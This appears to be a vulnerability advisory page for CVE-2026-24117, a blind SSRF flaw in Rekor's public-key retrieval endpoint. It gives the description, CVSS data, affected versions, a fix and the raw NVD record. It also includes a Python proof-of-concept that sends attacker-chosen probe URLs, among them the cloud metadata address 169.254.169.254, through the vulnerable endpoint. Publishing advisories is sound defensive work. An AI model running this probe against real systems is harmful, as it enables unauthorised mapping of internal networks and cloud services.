Security Vulnerability Report
中文
CVE-2026-24117 CVSS 5.3 MEDIUM

CVE-2026-24117

Published: 2026-01-22 22:16:22
Last Modified: 2026-02-02 15:07:45

Description

Rekor is a software supply chain transparency log. In versions 1.4.3 and below, attackers can trigger SSRF to arbitrary internal services because /api/v1/index/retrieve supports retrieving a public key via user-provided URL. Since the SSRF only can trigger GET requests, the request cannot mutate state. The response from the GET request is not returned to the caller so data exfiltration is not possible. A malicious actor could attempt to probe an internal network through Blind SSRF. The issue has been fixed in version 1.5.0. To workaround this issue, disable the search endpoint with --enable_retrieve_api=false.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:linuxfoundation:rekor:*:*:*:*:*:*:*:* - VULNERABLE
sigstore/rekor <= 1.4.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-24117 SSRF PoC for Rekor # Target: /api/v1/index/retrieve endpoint # Note: This is a Blind SSRF - response is not returned import requests import sys def test_ssrf(target_url, payload_url): """ Test SSRF vulnerability in Rekor's /api/v1/index/retrieve endpoint Args: target_url: Base URL of Rekor instance (e.g., http://target:3000) payload_url: Malicious URL to probe (e.g., http://internal:8080) Returns: bool: True if request was made successfully """ endpoint = f"{target_url}/api/v1/index/retrieve" # Construct the request with user-controlled URL parameter params = { 'url': payload_url # Attacker-controlled URL } try: response = requests.get(endpoint, params=params, timeout=10) print(f"[*] Request sent to {endpoint}") print(f"[*] Payload URL: {payload_url}") print(f"[*] Status code: {response.status_code}") return True except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return False def main(): if len(sys.argv) < 3: print("Usage: python cve-2026-24117_poc.py <target_url> <probe_url>") print("Example: python cve-2026-24117_poc.py http://rekor.example.com http://169.254.169.254/latest/meta-data/") sys.exit(1) target = sys.argv[1] probe = sys.argv[2] print("=" * 50) print("CVE-2026-24117 Rekor SSRF Vulnerability Test") print("=" * 50) test_ssrf(target, probe) if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-24117", "sourceIdentifier": "[email protected]", "published": "2026-01-22T22:16:21.577", "lastModified": "2026-02-02T15:07:44.880", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Rekor is a software supply chain transparency log. In versions 1.4.3 and below, attackers can trigger SSRF to arbitrary internal services because /api/v1/index/retrieve supports retrieving a public key via user-provided URL. Since the SSRF only can trigger GET requests, the request cannot mutate state. The response from the GET request is not returned to the caller so data exfiltration is not possible. A malicious actor could attempt to probe an internal network through Blind SSRF. The issue has been fixed in version 1.5.0. To workaround this issue, disable the search endpoint with --enable_retrieve_api=false."}, {"lang": "es", "value": "Rekor es un registro de transparencia de la cadena de suministro de software. En las versiones 1.4.3 e inferiores, los atacantes pueden desencadenar SSRF a servicios internos arbitrarios porque /api/v1/index/retrieve admite la recuperación de una clave pública a través de una URL proporcionada por el usuario. Dado que el SSRF solo puede desencadenar solicitudes GET, la solicitud no puede mutar el estado. La respuesta de la solicitud GET no se devuelve al llamante, por lo que no es posible exfiltrar datos. Un actor malicioso podría intentar sondear una red interna a través de SSRF Ciego. El problema ha sido solucionado en la versión 1.5.0. Como solución alternativa a este problema, deshabilite el endpoint de búsqueda con --enable_retrieve_api=false."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:linuxfoundation:rekor:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.5.0", "matchCriteriaId": "046CFEF8-2DAB-4D9A-AD13-CB83A9EB462E"}]}]}], "references": [{"url": "https://github.com/sigstore/rekor/commit/60ef2bceba192c5bf9327d003bceea8bf1f8275f", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/sigstore/rekor/releases/tag/v1.5.0", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/sigstore/rekor/security/advisories/GHSA-4c4x-jm2x-pf9j", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}